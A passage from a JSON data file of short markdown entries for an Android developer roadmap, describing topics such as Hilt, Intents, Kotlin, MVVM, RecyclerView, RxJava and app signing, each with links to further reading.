    "path": "src/data/roadmaps/android/content/google-play-services@m5rumeynEbS8T27pelr0-.md",
    "content": "# Google Play Services\n\n_Google Play Services_ is a proprietary background service and API package for Android devices from Google. Operated by Google, the service provides core functionalities like authentication for Google services, synchronized contacts, access to all the latest user privacy settings, and higher quality, lower-powered location-based services. It also speeds up offline searches, provides more immersive maps, and improves gaming experiences. Google Play Services play a crucial role in the operation of various other applications, including those not developed by Google. Moreover, it improves the overall Android experience by speeding up offline searches, providing more detailed maps, enhancing gaming experiences, and more.\n\nVisit the following resources to learn more:\n\n- [@official@Google Play Services](https://developer.android.com/google/play-services)\n- [@official@Google Play Services Documentation](https://developer.android.com/google/play-services/overview.html)"
  },
  {
    "path": "src/data/roadmaps/android/content/google-playstore@HgRdgi2Hu4C8YLG5PXfoo.md",
    "content": "# Google Playstore\n\n**Google Play Store** is the official distribution channel for Android apps and other digital media content. It is a global online software store developed and operated by Google. Developers submit their applications to Google Play through the Play Console where Google Play's automated systems scan for potentially malicious code and content violations, before they are published on the Play Store. Users can then browse, download, and use these applications on their Android devices or via the web. Purchases, downloads, and user feedback can be tracked via the Google Play Console. Owners of Android devices can also configure automatic updates for the applications they have installed from the store. This platform supports multiple languages and multiple forms of payment methods, making it accessible and customer-friendly.\n\nVisit the following resources to learn more:\n\n- [@official@Google Play Store](https://play.google.com/store)\n- [@official@Google Play Store Documentation](https://developer.android.com/distribute/googleplay)"
  },
  {
    "path": "src/data/roadmaps/android/content/hilt@ooo_k2k_vUBR_jQ7Ke6Et.md",
    "content": "# Hilt\n\nHilt is a dependency injection library for Android that reduces the boilerplate code that you would normally need to write when setting up manual dependency injection in your project. It is based on the Dagger library, but it simplifies the implementation process and streamlines the use of Dagger in Android apps. To set it up, you must annotate your Android classes and Hilt will automatically generate and provide the necessary dependencies for you.\n\nVisit the following resources to learn more:\n\n- [@official@Hilt](https://developer.android.com/training/dependency-injection/hilt-android)"
  },
  {
    "path": "src/data/roadmaps/android/content/imageview@A4rtNULX_MoV93IH1Lgqw.md",
    "content": "# ImageView\n\nDisplays image resources, for example Bitmap or Drawable resources. ImageView is also commonly used to apply tints to an image and handle image scaling.\n\nVisit the following resources to learn more:\n\n- [@article@Android Developers: ImageView](https://developer.android.com/reference/android/widget/ImageView)"
  },
  {
    "path": "src/data/roadmaps/android/content/implicit-intents@gGdz3j33x0gfrFDp_rw8Z.md",
    "content": "# Implicit Intents\n\n**Implicit Intents** do not specify the target component explicitly like Explicit Intents. Instead, they allow the system to find a suitable component matching the Intent description to handle the request. The system will find an activity that can handle this intent by comparing the `<intent-filter>` section in the `AndroidManifest.xml` of all apps installed on the device against the Implicit Intent.\n\nVisit the following resources to learn more:\n\n- [@official@Implicit Intents](https://developer.android.com/guide/components/intents-filters#implicit)"
  },
  {
    "path": "src/data/roadmaps/android/content/intent-filters@b-sfh6NoS-APqaNKm5L5S.md",
    "content": "# Intent Filters\n\n`Intent Filters` in Android are essential components of the Android system where you can declare the capabilities of your activities, services, and broadcast receivers. An intent filter is an expression found in your app's manifest file, defined in the `<intent-filter>` XML element. Android uses these filters to determine the appropriate components for incoming intents, which can be either explicit or implicit. Your app's ability to respond to intents depends on the filters you define. The filters are set of conditions comprised of `action`, `category`, and `data` which your activity or service is able to perform. If the incoming `Intent` matches with defined `Intent Filters`, Android system will permit that `Intent` to your Component (Activity, Service, or Broadcast Receiver).\n\nVisit the following resources to learn more:\n\n- [@official@Intent Filters](https://developer.android.com/guide/components/intents-filters)"
  },
  {
    "path": "src/data/roadmaps/android/content/intent@hv_9imIQpthxEaMLXEUHI.md",
    "content": "# Intent\n\nIntent in Android is a software mechanism used for late runtime binding between components, such as activities, content providers, and services. It is essentially a passive data structure holding an abstract description of an operation that the Android system is requested to perform.\n\nVisit the following resources to learn more:\n\n- [@official@Intent](https://developer.android.com/reference/android/content/Intent)"
  },
  {
    "path": "src/data/roadmaps/android/content/interface--navigation@4_e76QafrB419S2INOeKd.md",
    "content": "# Interface and Navigation\n\nIn Android development, the concepts of \"Interface\" and \"Navigation\" are crucial. The \"Interface\" often refers to the Graphical User Interface (GUI) that users interact with. This includes buttons, text fields, image views, scroll views and other UI elements that the users can interact with to perform certain tasks. Tools like XML and Material Designs are used for interface design in Android.\n\nVisit the following resources to learn more:\n\n- [@official@Android Developers: Interface](https://developer.android.com/guide/topics/ui/declaring-layout.html)\n- [@official@Android Developers: Navigation](https://developer.android.com/guide/navigation)"
  },
  {
    "path": "src/data/roadmaps/android/content/java@RBABbkzD_uNFwEO-hssZO.md",
    "content": "# Java\n\nJava is a popular programming language used for Android development due to its robustness and ease of use. Its object-oriented structure allows developers to create modular programs and reusable code. The language was built with the philosophy of \"write once, run anywhere\" (WORA), meaning compiled Java code can run on all platforms without the need for recompilation. Android’s API and core libraries are primarily written in Java, therefore understanding Java is fundamental in creating diverse and powerful Android apps.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Java Roadmap](https://roadmap.sh/java)\n- [@official@Java](https://www.oracle.com/java/technologies/javase-jdk11-downloads.html)\n- [@official@Java Documentation](https://docs.oracle.com/en/java/javase/11/docs/api/)"
  },
  {
    "path": "src/data/roadmaps/android/content/jetpack-benchmark@ACUJlDDR0jqEohsFzWEoQ.md",
    "content": "# Jetpack Benchmark\n\nJetpack Benchmark is a library within the Android Jetpack Suite that allows developers to quickly and accurately measure the performance of their apps. This library can help measure CPU, memory, and IO performance of code in Android apps. Developers can define some specific code paths to be benchmarked by wrapping the code in `BenchmarkRule.measureRepeated {}`. In addition, it automatically takes care of warmup, measures your code performance, and outputs benchmarking results to the Android Studio's logcat.\n\nVisit the following resources to learn more:\n\n- [@official@Jetpack Benchmark](https://developer.android.com/studio/profile/benchmark)"
  },
  {
    "path": "src/data/roadmaps/android/content/jetpack-compose@60Vm-77rseUqpMiFvp-dA.md",
    "content": "# Jetpack Compose\n\n`Jetpack Compose` is a modern toolkit for building native Android UI. It simplifies and accelerates UI development on Android with less code, powerful tools, and intuitive Kotlin APIs. `Jetpack Compose` offers a declarative approach to designing UI, where you can simply describe what your UI should look like at any given point of your app’s state, and `Compose` takes care of updating the view hierarchy, making UI development more efficient. It also integrates well with existing Android apps, letting you adopt its benefits at your own pace.\n\nVisit the following resources to learn more:\n\n- [@official@Jetpack Compose](https://developer.android.com/jetpack/compose)\n- [@video@Jetpack Compose Crash Course](https://www.youtube.com/watch?v=6_wK_Ud8--0)"
  },
  {
    "path": "src/data/roadmaps/android/content/junit@gvGAwjk_nhEgxzZ_c3f6b.md",
    "content": "# JUnit\n\nJUnit is a popular testing framework for Java programming. It forms the basis for many other testing libraries and tools in the Android ecosystem, making it important for any Android developer to become familiar with. The basic use of JUnit involves annotations such as `@Test`, indicating methods that represent a single test case. Other useful features include `@Before` and `@After` which allow for setup and teardown processes to be defined clearly. Another powerful feature in JUnit is the ability to create parameterized tests, effectively running the same test multiple times with different inputs.\n\nVisit the following resources to learn more:\n\n- [@official@Documentation](https://developer.android.com/training/testing/local-tests)\n- [@video@Junit for android](https://www.youtube.com/watch?v=jE1vQGVHaQA)"
  },
  {
    "path": "src/data/roadmaps/android/content/kodein@dc7k50PjCYZcElHhCk66p.md",
    "content": "# Kodein\n\n`Kodein` is one of the recommended dependency injection frameworks suitable for Android development. This open-source Kotlin library simplifies the DI process by allowing developers to bind various types of dependencies, such as singleton, factory, or provider bindings into containers or `Kodein` modules. It promotes dependency declaration where used, instead of prior declaration. It follows a \"Define in Use\" principle that enables easy-to-use, easy-to-debug and very idiomatic Kotlin code. It's also worth noting that `Kodein` works hand in hand with Android's lifecycle and provides easy integration with popular libraries such as Android Architecture Components, leveraging their functionality.\n\nVisit the following resources to learn more:\n\n- [@official@Kodein](https://insert-kodein.io/)"
  },
  {
    "path": "src/data/roadmaps/android/content/koin@UMqZ-jmXKDXKuu8bzqDH_.md",
    "content": "# Koin\n\nKoin is a lightweight dependency injection framework developed specifically for Kotlin developers. It uses functional resolution only - no proxy, no code generation, no reflection, and offers simplicity by leveraging Kotlin's language features. While Koin is not related to the Android platform, it provides specific extensions enabling an efficient integration into your Android applications, including Android Architecture Components and Kotlin Coroutines amongst others.\n\nVisit the following resources to learn more:\n\n- [@official@Koin](https://insert-koin.io)\n- [@official@Android Architecture Components](https://developer.android.com/topic/libraries/architecture/index.html)\n- [@article@@officialKotlin Coroutines](https://kotlinlang.org/docs/reference/coroutines-overview.html)"
  },
  {
    "path": "src/data/roadmaps/android/content/kotlin@qIzUv8-GgQnkqChEdgD50.md",
    "content": "# Kotlin\n\n`Kotlin` is a cross-platform, statically typed general-purpose programming language with type inference. Developed by JetBrains, the makers of the world’s leading IDEs, Kotlin has a syntax, which is more expressive and concise. This allows for more readable and maintainable code. It is fully interoperable with Java and comes with no limitations. It can be used almost everywhere Java is used today, for server-side development, Android apps, and much more. Kotlin introduces several improvements for programmers over Java, which makes it a preferred choice for many developers. With more concise code base and modern programming concept support - it's certainly a future of Android app development.\n\nVisit the following resources to learn more:\n\n- [@official@Kotlin](https://kotlinlang.org/)\n- [@official@Kotlin Documentation](https://kotlinlang.org/docs/home.html)\n- [@video@Learn Kotlin Programming for Beginners - Free Code Camp](https://youtu.be/EExSSotojVI?si=4VPW8ZHa2UMX0HH1)"
  },
  {
    "path": "src/data/roadmaps/android/content/ktlint@zMbXQH17Q52opdbitPzj7.md",
    "content": "# Ktlint\n\n`ktlint` is a static code analysis tool. It enforces a highly consistent style and adheres extensively to the official Kotlin coding conventions. `ktlint` does not have any configuration options (by design). The only exceptions are disabling specific rule(s) and specifying indentation size. `ktlint` can check, as well as automatically fix your code. Its main goal is to bring unified code style to your project. It works on the command line as well, so it can be hooked up into your continuous integration pipeline. It also has Ant, Gradle and Maven wrappers. You can use Ktlint on any Android/Kotlin project, as long as you have Gradle or Maven installed.\n\nVisit the following resources to learn more:\n\n- [@official@Ktlint](https://ktlint.github.io/)\n- [@opensource@Ktlint: Static Code Analysis for Kotlin](https://github.com/pinterest/ktlint)"
  },
  {
    "path": "src/data/roadmaps/android/content/leak-canary@3i4g9ZWgLxKb2UMgRJi4Q.md",
    "content": "# Leak Canary\n\nLeakCanary is a powerful open-source memory leak detection library for Android and Java. It is integrated into your app, and once you run your app, LeakCanary immediately starts watching for memory leaks and captures a memory dump if it detects one. After investigation, it will present a full stack trace to help you pinpoint the exact location of the memory leak. With the LeakCanary's user-friendly interface, you can then analyze the memory leak right in your app. The most recent version of LeakCanary also includes other improvements like automatic detection of leaks in Activity, Fragment, View, ViewModel, LiveData, etc.\n\nVisit the following resources to learn more:\n\n- [@official@Leak Canary](https://square.github.io/leakcanary/)\n- [@opensource@LeakCanary on GitHub](https://github.com/square/leakcanary)"
  },
  {
    "path": "src/data/roadmaps/android/content/linear@U8iMGGOd2EgPxSuwSG39Z.md",
    "content": "# LinearLayout\n\n**LinearLayout** is a view group that aligns all children in a single direction, vertically or horizontally. You can specify the layout direction with the `android:orientation` attribute.\n\n**LinearLayout** was commonly used in earlier Android development, but with the introduction of ConstraintLayout, it’s less frequently used in modern apps.\n\nVisit the following resources to learn more:\n\n- [@official@Linear Layout](https://developer.android.com/develop/ui/views/layout/linear)"
  },
  {
    "path": "src/data/roadmaps/android/content/linting@77F9F3oI5CPgwgM_hxWfa.md",
    "content": "# Linting\n\n`Linting` in Android is a tool that analyzes the source code of your application to identify potential errors, bugs, stylistic errors, and suspicious constructs. The term Linting came from a Unix utility that examined C language source code. In Android, it not only checks for potential Java issues but also for XML layout files and provides alerts for issues it encounters regarding usability, performance, and accessibility. For instance, it may scrutinize a draft of your AndroidManifest.xml file for potential duplication of elements or other anomalies that would cause the app to crash.\n\nVisit the following resources to learn more:\n\n- [@official@Linting](https://developer.android.com/studio/write/lint)"
  },
  {
    "path": "src/data/roadmaps/android/content/listview@EzLjX4iRT7AxkAOsJYnSU.md",
    "content": "# ListView\n\nDisplays a vertically-scrollable collection of views, where each view is positioned immediately below the previous view in the list.\n\nFor a more modern, flexible, and performant approach to displaying lists, use `RecyclerView`.\n\nVisit the following resources to learn more:\n\n- [@official@ListView](https://developer.android.com/reference/android/widget/ListView)"
  },
  {
    "path": "src/data/roadmaps/android/content/livedata@TiokceMGU9caqiR0lbFYL.md",
    "content": "# LiveData\n\n`LiveData` is a data holder class that can be observed within a given lifecycle. This means that an `Observer` can be added in a pair with a `LifecycleOwner`, and this observer will be notified about modifications of the `LiveData` object only if the associated `LifecycleOwner` is in active state. `LiveData` respects the lifecycle state of app components, such as activities, fragments, or services, and it only updates app-component observers that are in an active lifecycle state. Furthermore, `LiveData` automatically removes the observers when their associated `LifecycleOwner` moves to the `Destroyed` state. This combination of `LiveData` and `LifecycleOwner` helps you to manage appropriate and efficient updates because `LiveData` takes into consideration the lifecycle state of your app components.\n\nVisit the following resources to learn more:\n\n- [@official@LiveData](https://developer.android.com/topic/libraries/architecture/livedata)"
  },
  {
    "path": "src/data/roadmaps/android/content/mvc@w1A6wPKSd3Yh2luuHV-aE.md",
    "content": "# MVC or Model View Controller\n\nMVC or `Model View Controller` is a software design pattern commonly used for developing user interfaces that divides the related program logic into three interconnected components.\n\nComponents:\n-----------\n\n*   `Model`: The internal representations of information. This can often be an Interactor or UseCase\n*   `View`: The interface that presents information to and accepts it from the user\n*   `Controller`: The controller contains logic that updates the model and/or view in response to input from the users of the app.\n\nVisit the following resources to learn more:\n\n- [@article@MVC](https://developer.mozilla.org/en-US/docs/Glossary/MVC)\n- [@article@Model View Controller](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller)"
  },
  {
    "path": "src/data/roadmaps/android/content/mvi@Bz-BkfzsDHAbAw3HD7WCd.md",
    "content": "# MVI\n\nThe **MVI** `Model-View-Intent` pattern is a reactive architectural pattern, similar to **MVVM** and **MVP**, focusing on immutability and handling states in unidirectional cycles. The data flow is unidirectional: Intents update the Model's state through the `ViewModel`, and then the View reacts to the new state. This ensures a clear and predictable cycle between logic and the interface.\n\n*   Model: Represents the UI state. It is immutable and contains all the necessary information to represent a screen.\n*   View: Displays the UI state and receives the user's intentions.\n*   Intent: The user's intentions trigger state updates, managed by the `ViewModel`.\n\nVisit the following resources to learn more:\n\n- [@article@MVI with Kotlin](https://proandroiddev.com/mvi-architecture-with-kotlin-flows-and-channels-d36820b2028d)"
  },
  {
    "path": "src/data/roadmaps/android/content/mvp@aF_xFIqTjQbENtC7pkXvJ.md",
    "content": "# MVP or Model View Presenter\n\nThe MVP `Model View Presenter` pattern is a derivative of the well-known MVC `Model View Controller` pattern and is one of the most popular patterns for organizing the presentation layer in Android applications.\n\nMVP is divided into three components:\n\n*   `Model`: Responsible for managing the data input to the app. This can often be an Interactor or UseCase, handling the business logic and data operations.\n*   `View`: Takes care of updating the graphical part of the application. It acts as a passive view, only receiving data and requesting actions to be performed.\n*   `Presenter`: Handles all the logic related to the graphical interface that the View requests. It provides the View with the data it needs to display on the screen.\n\nVisit the following resources to learn more:\n\n- [@article@Model View Presenter](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93presenter)"
  },
  {
    "path": "src/data/roadmaps/android/content/mvvm@pSU-NZtjBh-u0WKTYfjk_.md",
    "content": "# MVVM\n\nThe `Model-View-ViewModel` (MVVM) pattern is a software architectural pattern commonly used in UI development. It is designed to separate the concerns of an application, making the code more modular, testable, and maintainable.\n\nComponents:\n\n*   `Model`: Refers either to a domain model, which represents real state content (an object-oriented approach), or to the data access layer, which represents content.\n*   `View`: The view is the structure, layout, and appearance of what a user sees on the screen.\n*   `View model`: The view model is an abstraction of the view exposing public properties and commands. The view model has been described as a state of the data in the model.\n\nVisit the following resources to learn more:\n\n- [@official@Android Developers: View Model](https://developer.android.com/topic/libraries/architecture/viewmodel)\n- [@article@Wikipedia](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93viewmodel)"
  },
  {
    "path": "src/data/roadmaps/android/content/navigation-components@o5rzmnaQeiSh9ocvfJPpK.md",
    "content": "# Navigation Components\n\nThe **Navigation Components** are part of Android Jetpack and are designed to simplify the implementation of navigation in your Android app. These components help you follow best practices, handle deep linking, and provide a consistent user experience across deep and conditional navigation. They also automate many common tasks, such as handling Up and Back actions correctly across many different types of devices. The Navigation component consists of three key parts which are Navigation graph, NavHost, and NavController.\n\nVisit the following resources to learn more:\n\n- [@official@Navigation Components](https://developer.android.com/guide/navigation)"
  },
  {
    "path": "src/data/roadmaps/android/content/network@Yb6aKJMMCxU1QVltWg3Dr.md",
    "content": "# Network\n\nIn Android, the `Network` component offers vital capabilities that enable communication and interaction among users, between users and remote servers, and between users and cloud services. Android provides a variety of APIs and services to interact with networks. The primary APIs are the `ConnectivityManager`, `WifiManager`, `TelephonyManager`, and `BluetoothManager` APIs, among others. ConnectivityManager, for example, can tell you about network connectivity changes.\n\nVisit the following resources to learn more:\n\n- [@official@Network](https://developer.android.com/guide/topics/connectivity)\n- [@official@ConnectivityManager](https://developer.android.com/reference/android/net/ConnectivityManager)\n- [@official@WifiManager](https://developer.android.com/reference/android/net/wifi/WifiManager)"
  },
  {
    "path": "src/data/roadmaps/android/content/observer-pattern@N_auRfGKkeIIc-qiHLkR_.md",
    "content": "# Observer Pattern\n\nThe **Observer Pattern** is a software design pattern in which an object, known as the subject, maintains a list of its dependents, called observers, and notifies them automatically of any state changes. This is usually done by calling one of their methods. It's mainly used for implementing distributed event handling systems and is viewed as a good practice to follow, making your design more robust, flexible, and scalable. The subject to be observed triggers events and observers react to the change or the event that they are listening to. In Android, observable libraries like `LiveData`, `RxJava`, `Flow`, and other reactive streams allow the implementation of observer pattern.\n\nVisit the following resources to learn more:\n\n- [@article@Observer Pattern](https://en.wikipedia.org/wiki/Observer_pattern)\n- [@article@Observer Pattern](https://refactoring.guru/design-patterns/observer)"
  },
  {
    "path": "src/data/roadmaps/android/content/okhttp@5pVuwOItAhUxxJX8ysAsn.md",
    "content": "# OkHttp\n\n`OkHttp` is an HTTP client that's extremely efficient, enabling several advanced features in Android app or other platforms that use Java. Developed by Square, it's built for high efficiency and capacity, simplifying many networking tasks, including connection pooling, response caching, and request retries. OkHttp allows seamless recovery from network issues, minimizing the loss of data. The library ensures fewer errors and higher quality of service by using the modern TLS encryption, extensible request and response models, and a fluent API for ease of use and integration.\n\nVisit the following resources to learn more:\n\n- [@official@OkHttp](https://square.github.io/okhttp/)\n- [@opensource@OkHttp on GitHub](https://github.com/square/okhttp)"
  },
  {
    "path": "src/data/roadmaps/android/content/pick-a-language@Suws-7f_6Z1ChpfcnxX2M.md",
    "content": "# Pick a Language\n\nWhen developing for Android, one crucial step is picking a programming language to use. There are multiple languages you can choose from, but the three most popular ones are Java, Kotlin, and C++.\n\nJava is the original language used for Android development and is widely used, making it a good choice for beginners due to the wealth of resources and developer communities. Kotlin is a newer option that is fully supported by Google and Android Studio, and addressing many of the drawbacks of Java which makes it a popular choice for many developers.\n\nVisit the following resources to learn more:\n\n- [@official@Pick a Language](https://developer.android.com/studio/write/java8-support)\n- [@official@Kotlin vs Java](https://developer.android.com/kotlin)"
  },
  {
    "path": "src/data/roadmaps/android/content/recyclerview@xIvplWfe-uDr9iHjPT1Mx.md",
    "content": "# RecyclerView\n\nRecyclerView is the most commonly used and powerful list management tool in Android development. It makes it easy to efficiently display large sets of data. You supply the data and define how each item looks, and the RecyclerView library dynamically creates the elements when they're needed.\n\nAs the name implies, RecyclerView recycles those individual elements. When an item scrolls off the screen, RecyclerView doesn't destroy its view. Instead, RecyclerView reuses the view for new items that have scrolled onscreen. RecyclerView improves performance and your app's responsiveness, and it reduces power consumption.\n\nVisit the following resources to learn more:\n\n- [@official@RecyclerView Reference (Android Docs)](https://developer.android.com/reference/androidx/recyclerview/widget/RecyclerView)\n- [@official@Create Dynamic Lists with RecyclerView (Android Docs)](https://developer.android.com/develop/ui/views/layout/recyclerview)\n"
  },
  {
    "path": "src/data/roadmaps/android/content/recycleview@xIvplWfe-uDr9iHjPT1Mx.md",
    "content": "# RecyclerView\n\nRecyclerView is the most commonly used and powerful list management tool in Android development. It makes it easy to efficiently display large sets of data. You supply the data and define how each item looks, and the RecyclerView library dynamically creates the elements when they're needed.\n\nAs the name implies, RecyclerView recycles those individual elements. When an item scrolls off the screen, RecyclerView doesn't destroy its view. Instead, RecyclerView reuses the view for new items that have scrolled onscreen. RecyclerView improves performance and your app's responsiveness, and it reduces power consumption.\n\nVisit the following resources to learn more:\n\n- [@official@RecyclerView Reference (Android Docs)](https://developer.android.com/reference/androidx/recyclerview/widget/RecyclerView)\n- [@official@Create Dynamic Lists with RecyclerView (Android Docs)](https://developer.android.com/develop/ui/views/layout/recyclerview)"
  },
  {
    "path": "src/data/roadmaps/android/content/relative@yE0qAQZiEC9R8WvCdskpr.md",
    "content": "# RelativeLayout\n\nA **RelativeLayout** in Android is a type of ViewGroup that allows you to position child views relative to each other or relative to the parent layout. It's a flexible layout where you can arrange the child views in relation to one another based on certain rules, making it suitable for creating complex UI designs.\n\n**RelativeLayout** was commonly used in earlier Android development, but with the introduction of `ConstraintLayout`, it's less frequently used in modern apps.\n\nVisit the following resources to learn more:\n\n- [@official@Relative Layout](https://developer.android.com/develop/ui/views/layout/relative)"
  },
  {
    "path": "src/data/roadmaps/android/content/remote-config@1Tz-Shj_Tuz2U8llEAcLr.md",
    "content": "# Remote Config\n\nFirebase Remote Config is a cloud service offered by Firebase. It lets you change the behavior and appearance of your app without requiring a new app release. By using Firebase Remote config, you can customize your app for different user segments, manage the core aspects of your app by modifying parameters externally, and conduct A/B tests to improve your app. It works efficiently by using default values that control the behavior and appearance of your app. When your app needs configuration information, it makes a request to the Firebase Remote Config server. If the server has updated values, these values replace the default ones, hence modifying the app's behavior or appearance according to your needs.\n\nVisit the following resources to learn more:\n\n- [@official@Remote Config](https://firebase.google.com/docs/remote-config/get-started?platform=android)\n- [@video@Getting Started with Remote Config](https://www.youtube.com/watch?v=pcnnbjAAIkI)"
  },
  {
    "path": "src/data/roadmaps/android/content/repository-pattern@ZF5XgO7I_J9928bD3CVXo.md",
    "content": "# Repository Pattern\n\nThe `Repository Pattern` separates the data sources from the rest of the application. It acts as a mediator between different data sources, such as persistent models, web services, or caches. Instead of having the network and database calls spread out throughout your ViewModel, they are encapsulated within a Repository class. This separation will make the code clean, easy to read and testable. It provides a simple API for data access, the rest of the app doesn't need to know where the data is coming from it just asks the repository.\n\nVisit the following resources to learn more:\n\n- [@article@Repository Pattern](https://en.wikipedia.org/wiki/Repository_pattern)"
  },
  {
    "path": "src/data/roadmaps/android/content/retro@dDMRYiqrKyOBnRRQc8zsp.md",
    "content": "# Retrofit\n\nRetrofit is a type-safe HTTP client for Android. It's designed to connect your application with an API or a back-end web service. Retrofit uses annotations to encode details about the API's operations and requests, such as the HTTP method (`GET`, `POST`, `PUT`, `DELETE`, `HEAD`) and the query parameters. The main advantage of **Retrofit** over other similar libraries is in its simplicity and intuitiveness, and it efficiently handles all network calls.\n\nVisit the following resources to learn more:\n\n- [@official@Retrofit Documentation](https://square.github.io/retrofit/)\n- [@video@Retrofit in Android Studio](https://www.youtube.com/watch?v=KJSBsRKqNwU)"
  },
  {
    "path": "src/data/roadmaps/android/content/room-database@Bfg4So5RlI09zFNcburJd.md",
    "content": "# Room Database\n\n\"Room\" is a persistence library introduced by Google that provides an abstraction layer over SQLite to help with robust database access while harnessing the full power of SQLite. Room supports the creation of databases and defines queries in compile-time-checked SQL strings. These databases belong to the data classes that you create representing your app's data. Room comprises three main components: **Database**, a container that holds your app's data tables; **Entity**, representing a table within the database; and **DAO (Data Access Object)**, containing SQL query methods to interact with the database.\n\nVisit the following resources to learn more:\n\n- [@official@Room Database](https://developer.android.com/training/data-storage/room)\n- [@video@The Full Beginner's Guide for Room in Android](https://www.youtube.com/watch?v=bOd3wO0uFr8&t=10s)"
  },
  {
    "path": "src/data/roadmaps/android/content/rxjava@xk0vnWr7uESdzYRxwFjoK.md",
    "content": "# RxJava\n\nRxJava, standing for Reactive Extensions for the JVM, is a library in the Java and Android ecosystem that allows developers to write asynchronous, event-based programs. It is developed according to reactive programming principles and it supports multi-threading operations. One can create data streams from just about anything - variables, data structures, inputs, etc. and these streams could be used with functional programming methods to process the data.\n\nVisit the following resources to learn more:\n\n- [@opensource@RxJava on GitHub](https://github.com/ReactiveX/RxJava)"
  },
  {
    "path": "src/data/roadmaps/android/content/rxjava@zXsNEyRbb8UpEOAUv6FpY.md",
    "content": "# RxJava\n\nRxJava (Reactive Extensions for the JVM) is a powerful library for composing asynchronous and event-based programs using observable sequences in Java. If you are an Android developer, you might be familiar with callbacks and async tasks to perform long-running operations in the background. However, handling multiple async tasks and nested callbacks can produce code that's complicated to read and maintain. To alleviate such complexities, RxJava provides tools and methods to create, transform and chain Observable sequences in a clean and declarative manner.\n\nVisit the following resources to learn more:\n\n- [@opensource@RxJava on GitHub](https://github.com/ReactiveX/RxJava)"
  },
  {
    "path": "src/data/roadmaps/android/content/rxkotlin@4h37WBpYxRRyw9oH8ge7o.md",
    "content": "# RxKotlin\n\n`RxKotlin` is a lightweight language extension to Java for Android development, enabling Android apps to be built using Kotlin with Reactivex. It brings the power of reactive programming paradigm to Kotlin, extending its capabilities for processing asynchronous streams of data. It allows you to express static (e.g., already known) or dynamic (e.g., future unknown) data streams, and perform various operations on them easily. Key concepts of `RxKotlin` include Observables, Observers and Schedulers. Observables represent the data streams, Observers interact with the data stream, and Schedulers determine on which thread operations are performed. RxKotlin helps manage background tasks, handle asynchronous data streams, and implement complex UIs, among others.\n\nVisit the following resources to learn more:\n\n- [@opensource@ReactiveX/RxKotlin - RxKotlin on GitHub](https://github.com/ReactiveX/RxKotlin)"
  },
  {
    "path": "src/data/roadmaps/android/content/rxkotlin@7rbsp1o5bzIJP11BRIoeG.md",
    "content": "# RxKotlin\n\n`RxKotlin` is a lightweight library that adds convenient extension functions to `RxJava`. It allows developers to use RxJava with Kotlin in a more idiomatic way, thus making code more readable and understandable. While `RxJava` is a Java-based implementation of Reactive Extensions, `RxKotlin` is essentially a wrapper that includes extension functions and other constructs to take full advantage of Kotlin's features, such as its syntactic simplicity and ease of use.\n\nVisit the following resources to learn more:\n\n- [@opensource@RxKotlin](https://github.com/ReactiveX/RxKotlin)"
  },
  {
    "path": "src/data/roadmaps/android/content/security@j5qmSMOdhpGZo1XOUVx1k.md",
    "content": "# Android Security\n\nAndroid security encompasses the strategies and techniques used to protect Android devices and the data they contain from unauthorized access, use, disclosure, disruption, modification, or destruction. It involves various layers of protection, including hardware security features, the Android operating system's security architecture, and application-level security measures, all working together to safeguard user data and device integrity.\n\nVisit the following resources to learn more:\n\n- [@official@Security checklist](https://developer.android.com/privacy-and-security/security-tips)\n- [@official@Improve your app's security](https://developer.android.com/privacy-and-security/security-best-practices)\n- [@official@Cryptography](https://developer.android.com/privacy-and-security/cryptography)\n- [@official@Android Keystore system](https://developer.android.com/privacy-and-security/keystore)\n- [@article@18 Android security settings that will strengthen your protection](https://www.computerworld.com/article/1718177/android-settings-security.html)\n- [@video@Top 4 Security Best Practices for Your Android App](https://www.youtube.com/watch?v=VQvfvXD3ec4)\n- [@video@1 Full Free Android Application Security Course](https://www.youtube.com/watch?v=io2lCB5Tc6A&list=PLwOCu7hSL9MqBeEZUgV5-6n3z4Xw-yaMr)"
  },
  {
    "path": "src/data/roadmaps/android/content/services@PcHmU1c9hqKyzSjwlRPHk.md",
    "content": "# Services\n\n**Services**: A service in Android is an app component that performs operations in the background without a user interface. It can be started by an application component, like an activity, and it will continue to run in the background even if the user switches to another application. There are two types of services in Android, namely, `Started Service` and `Bound Service`. A `Started Service` is used to perform a single operation, such as downloading a large file. On the other hand, a `Bound Service` offers a client-server interface that allows components to interact with the service, send requests, receive results, and even perform interprocess communication (IPC).\n\nVisit the following resources to learn more:\n\n- [@official@Services](https://developer.android.com/guide/components/services)"
  },
  {
    "path": "src/data/roadmaps/android/content/shared-preferences@PKql1HY0PLMfp50FRELXL.md",
    "content": "# Shared Preferences\n\nShared Preferences in Android are used to store data in key-value pairs. It works similar to a tiny database where you can save small pieces of data such as settings or the state of an application. When data is saved to Shared Preferences, it persists across user sessions, even if your application is killed or gets deleted. Data in Shared Preferences is not typically used for large amounts of data. To perform actions such as saving, retrieving, or editing data in Shared Preferences, you use an instance of `SharedPreferences.Editor`.\n\nVisit the following resources to learn more:\n\n- [@official@Shared Preferences Documentation](https://developer.android.com/training/data-storage/shared-preferences)\n- [@video@SharedPreferences in Android](https://www.youtube.com/watch?v=rJ3uwqko9Ew)"
  },
  {
    "path": "src/data/roadmaps/android/content/signed-apk@_FSlD_qTz5Xo0x3pB6sZI.md",
    "content": "# Signed APK\n\nA **Signed APK** is a version of your app that you prepare for distribution in the Play Store or other Android markets. When you sign your app using a private key, you authenticate your identity as the developer of the app. It is a required step by the Android system that ensures only updates to the APK that are from the original developer will be accepted. The Android system refuses to install an app if it's not signed appropriately, thereby protecting users from potential security risks.\n\nVisit the following resources to learn more:\n\n- [@official@Signing Your App](https://developer.android.com/studio/publish/app-signing)"
  },
  {
    "path": "src/data/roadmaps/android/content/state-changes@oUjetA2eduvQIeLcQlLcu.md",
